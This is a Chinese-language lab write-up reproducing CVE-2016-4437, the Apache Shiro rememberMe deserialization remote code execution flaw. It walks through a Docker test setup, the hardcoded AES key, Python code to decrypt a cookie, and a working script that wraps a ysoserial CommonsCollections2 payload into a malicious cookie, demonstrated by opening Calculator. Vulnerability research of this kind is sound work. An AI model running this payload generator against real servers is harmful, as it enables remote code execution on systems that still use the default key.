CVE-2016-4437:Apache Shiro 反序列化 RCE 复现

参考shiro 基础教程,Apache Shiro是一个功能强大且易于使用的Java安全框架,提供了认证,授权,加密,和会话管理。

如同 Spring security 一样都是是一个权限安全框架,但是与Spring Security相比,在于他使用了和比较简洁易懂的认证和授权方式。

0x00 概述


参考 Apache Shiro issue #550 ,漏洞大概情况为:

通过阅读官网 issue,可以了解到:

默认情况下,shiro使用 CookieRememberMeManager。这序列化、加密和编码用户身份以供以后检索。因此,当它收到来自未经身份验证的用户的请求时,它会通过执行以下操作来查找其记住的身份:

  • 检索 rememberMe cookie 的值
  • Base 64 解码
  • 使用 AES 解密
  • 使用 java 序列化模块(ObjectInputStream)来反序列化。

但是,默认加密密钥是硬编码的,这意味着任何有权访问源代码的人都知道默认加密密钥是什么。因此,攻击者可以创建恶意对象,对其进行序列化,对其进行编码,然后将其作为cookie发送。然后Shiro将解码和反序列化,这意味着您的恶意对象现在在服务器上。通过仔细构建对象,可以使它们运行一些恶意代码。

CookieRememberMeManager

从官方的 issue 上来看,存在几个重要的点:

  • rememberMe cookie

  • CookieRememberMeManager.java

  • Base64

  • AES

  • 加密密钥硬编码

  • Java serialization

0x01 环境搭建


有两种方式:

  1. 基于Apache Shiro源码添加存在漏洞的jar包,然后使用 mvn 进行存在漏洞环境的 war 包进行编译,最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat即可。
  2. 使用 Docker 搭建环境。

我这里使用 docker。

过程:

根据 https://github.com/Medicean/VulApps/tree/master/s/shiro/1 ,操作如下:

然后就可以在本地访问登录页面:

0x02 产生payload


我们需要产生payload的 ysoserial ,执行下列命令,可以获取到需要的 jar 文件:

1
2
3
$ git clone https://github.com/frohoff/ysoserial.git
$ cd ysoserial
$ mvn package -DskipTests

等待一段时间的打包:

最终就生成了 payload 的 jar 包:

参考文章:

反序列化工具 ysoseriaol 使用介绍

ysoserial分析

0x03 漏洞分析


在搭建好的环境下登录账号:

查看cookie可以发现有一个 rememberMe 值:

从正常登录返回的 cookie 中获取到 rememberMe 的值如下:

1
V1bpg7s9Ogm/umCxglkKNb89SicDSk8DURo7BCwWtz713kiDkqHrke+BUbjzk6ehzN3QYTC7kxgglgmAnenEr6aao8+pH71vXX5vtqc8jrnMZml/fpaWxAsZr0CO8dJMLBzpM6C0dNh429pR9lceeP42UkjFDJrjWx55ZVP1+APLQfffaV1eQq8PjAvy5O9XLlrlxtWoM5LGn6m6XuM/R4xjkX7PkYu4rpN/tc/aC0Qg9UK+WgVgNyqjZaMNcMM3hG4j8NqlCzHUBgArVgwtT3tn6UG5hw3pf+q7t21Np7fsFSpEhr0NXfY0hJXuYsYiIcokZenxjTw+vpl1MI0xAuxTnzHDc70p5ZQIiZo23vKHaKXDE3nwADRErCGel4ZdJJ7inAEy4j+Hddc9e8uNmVp4+fMkrGZhoyS9WGuFkiSb7kXJqzM9SqrM0KKRT3sf8nNiOAU8wOMgtBro0nQ3LHiJErAD1DVr2iXcsGj2m6fxttT/gxBZZaHr2vtK49yJ

把rememberMe的值存为 cookie.txt,使用 Base64 解码存储为二进制文件。

1
2
3
$ cat cookie.txt|base64 -d > x.bin
$ cat x.bin |xxd
$ cat x.bin |xxd > 1.txt

内容如下:

从这些内容中没有看到有明确的 Java 序列化特征字,因为在 issue 的关键字当中提到了 AES 和加密密钥硬编码,所以去看源码。打开CookieRememberMemanager.java 文件并没有找到硬编码的加密密钥,继续跟其父类 AbstractRememberMeManager 看到如下几行:

可以判断出上图中最后一行Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”) 就是我们要找的硬编码密钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥。

除了密钥,还有两个必要的属性,一个是 AES 中的 mode(加解密算法),另外一个是 IV(初始化向量),继续查看 AbstractRememberMeManager 的代码, 在它的方法 encrypt 中看到如下语句:

其中 CipherService 是个接口,而实现这个接口的是一个抽象类 JcaCipherService。

在 JcaCipherService 的类说明中,提到:

自动生成IV

IV被自动的随机生成,在返回给{@code encrypt}方法之时前置到加密数据之前。因此,返回的 byte 数组或{@code OutputStream}实际上是一个IV byte数组加上真实加密数据 byte 数组的连接。{@code decrypt} 方法在解密真实数据之前轮流读取这个前置IV。

IV大小

此实现{@link #setInitializationVectorSize(int) initializationVectorSize}属性默认为{@code 128} bits,这是一个相当常见的大小。但是,IV的大小是非常特定于算法的,因此如果需要,子类实现通常会在其构造函数中重写该值。

还要注意 {@code initializationVectorSize} 值是以特定位数(而不是字节)匹配大多数密码学文档中的常见引用。但实际上,IV 总是指定为字节数组,因此需要确保是否设置了此属性,该值应该是 {@code 8} 的倍数,以确保IV可以正确表示为字节数组( {@link #setInitializationVectorSize(int) setInitializationVectorSize} 变种方法强制执行此操作)。

在 AESCipherService.java 类中,可以看到 AES 的 mode 为 CBC。

知道创宇的漏洞分析文章中提到:这个 IV并没有真正使用起来。这个结论我也不是很明确。

那么根据我们现在已经得到的信息:

  1. IV是随机生成的,但这个IV并没有真正使用起来;
  2. AES 的 mode 为 CBC

利用这些信息,尝试对 Base64 解码后的文件进行解密操作,解密 Python 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# pip install pycrypto
import sys
import base64
from Crypto.Cipher import AES
def decode_rememberme_file(filename):
with open(filename, 'rb') as fpr:
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(fpr.read())
return remember_bin
if __name__ == '__main__':
with open("1.bin", 'wb+') as fpw:
# print(sys.argv[1])
fpw.write(decode_rememberme_file(sys.argv[1]))

注:

  1. Data must be padded to 16 byte boundary in CBC mode. 所以 IV 是随机一个16位的。
  2. Python 3.7 的 pycrypto 库安装参考 python3.7安装pycrypto
  3. 1.bin 是我们要把二进制结果写入的文件。
  4. 注意 sys.argv[1],所以在运行时我们使用 python3 1.py x.bin,x.bin 即为 sys.argv[1],1.py 是 sys.argv[0]。x.bin 就是上文中提到的对 cookie 里面 rememberMe 的值 base64 解码之后的二进制文件。

运行上面的python脚本:

然后把解密出的 1.bin 转化为 hex 形式:

1
$ cat 1.bin |xxd > 2.txt

查看 2.txt:

注意第二行打头的 ac ed 00 05, 这是 Java 序列化的标志,说明解密成功!那么文件第一行是什么呢?我们继续来跟 JcaCipherService 这个类,看它的一个加密函数 encrypt :

可以看出这个加密函数是先将 IV 写入,然后再加密具体的序列化对象的字节码,这样 IV 值我们可以直接通过读取第一行(16个字节,128位)获得了。

搞清楚了第一行是什么,我们还需要搞清楚加密的序列化对象 。回到 CookieRememberMeManager 的父类 AbstractRememberMeManager , 上面贴出的 encrypt 中有个 serialized 的字节数组,这个字节数组是从哪里来的呢?在这个类中直接调用这个方法的是 convertPrincipalsToBytes :

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

可以看出序列化对象是 PrincipalCollection ,但是这个类是个接口,看了下实现它的类是 SimplePrincipalCollection 对象。 在它的代码当中,可以发现关键的两个方法: writeObject 和 readObject。

0x04 漏洞利用


现在,就可以构造具体的 payload 了,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)

将上述代码保存为 /tmp/create_payload.py, 执行如下命令:

1
2
3
4
cd /tmp
python3 create_payload.py "open /Applications/Calculator.app"
安装了 httpie 可以运行如下指令
http :8080/shiro/ Cookie:cat payload.cookie